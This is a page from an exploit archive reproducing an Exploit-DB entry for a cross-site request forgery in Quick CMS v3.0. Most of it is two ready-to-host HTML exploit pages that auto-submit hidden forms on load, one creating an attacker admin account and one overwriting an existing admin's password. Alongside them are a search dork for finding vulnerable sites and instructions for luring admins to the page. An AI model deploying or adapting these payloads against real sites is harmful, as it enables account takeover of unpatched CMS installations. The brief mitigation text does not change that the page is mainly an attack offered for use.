Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Quick CMS v3.0 Cross Site Request Forgery (Add Admin User) - exploit.company
header-logo
Suggest Exploit
vendor:
Quick CMS
by:
^Xecuti0n3r
5.5
CVSS
MEDIUM
Cross Site Request Forgery (XSRF)
352
CWE
Product Name: Quick CMS
Affected Version From: Quick CMS v3.0
Affected Version To: Quick CMS v3.0
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)

The Quick CMS v3.0 is vulnerable to cross-site request forgery (XSRF) attack which allows an attacker to add an admin user without warning. The exploit code is provided in the text.

Mitigation:

The vendor should release a patch to fix this vulnerability. In the meantime, users are advised to implement strong access control mechanisms and regularly monitor their CMS for any unauthorized changes.
Source

Exploit-DB raw data:

#(+) Exploit Title: Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)
#(+) Author    : ^Xecuti0n3r
#(+) E-mail    : xecuti0n3r()yahoo.com
#(+) Category  : Web Apps [XSRF]
#(+) Dork      : intext:"Quick.Cms v3.0" inurl:admin.php
#(+) Demo CMS Link: http://opensolution.org/Quick.Cms

1               #########################################              1
0               I'm ^Xecuti0n3r member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


#All you have to do is save the below code as exploit.html
#Then Host a website with the exploit.html file. A person with admin permissions if visits the site,
# will automatically add the attacker as Admin without warning ;) 
____________________________________________________________________
____________________________________________________________________
Code:
 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
    var count = 2;
    var i=0;
   
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}
    
</script>
<H2>Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)</H2>
<form method="POST" name="form0" action="http://site.com/admin.php?p=users-form&iUser=">
<input type="hidden" name="iUser" value=""/>
<input type="hidden" name="sLoginOld" value=""/>
<input type="hidden" name="sOptionList" value="save and go to the list »"/>
<input type="hidden" name="sLogin" value="admin3"/>
<input type="hidden" name="sPass" value="admin2"/>
<input type="hidden" name="sFirstName" value="Admin2"/>
<input type="hidden" name="sLastName" value="Admin2"/>
<input type="hidden" name="sCompanyName" value="ZZZZZ"/>
<input type="hidden" name="sStreet" value="ZZZZZZZZ"/>
<input type="hidden" name="sZipCode" value="99999"/>
<input type="hidden" name="sCity" value="ZZZZZZ"/>
<input type="hidden" name="sPhone" value="9999999993"/>
<input type="hidden" name="sEmail" value="attacker@jojo.com"/>
</form>
</form>

</body>
</html>


EDIT USER:

#All you have to do is save the below code as exploit.html
#Then Host a website with the exploit.html file. A person with admin permissions if visits the site,
# will automatically add the attacker as Admin without warning ;) 
____________________________________________________________________
____________________________________________________________________
Code:
 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details)</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
    var count = 2;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}
    
</script>
<H2>Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details)</H2>
<form method="POST" name="form0" action="http://site.com/admin.php?p=admins-form">
<input type="hidden" name="iAdmin" value="1"/>
<input type="hidden" name="iLastLogin" value="0"/>
<input type="hidden" name="iBeforeLastLogin" value="0"/>
<input type="hidden" name="sOptionList" value="save and go to the list »"/>
<input type="hidden" name="sLogin" value="demo"/>
<input type="hidden" name="aPrivilagesForm[p-list]" value="1"/>
<input type="hidden" name="aPrivilagesForm[p-form]" value="1"/>
<input type="hidden" name="sPass" value="newpassword"/>
<input type="hidden" name="sName" value="John Doe"/>
<input type="hidden" name="sEmail" value="john@doe.com"/>
<input type="hidden" name="sSignature" value="JD"/>
</form>
 </form>

</body>
</html>
 
########################################################################
(+)Exploit Coded by: ^Xecuti0N3r 
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r, aNnIh!LatioN3r
(+)Gr33ts to : Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) + All the 31337 Members :)
(+)<3 to :Indian Cyber Army & Indishell Crew
########################################################################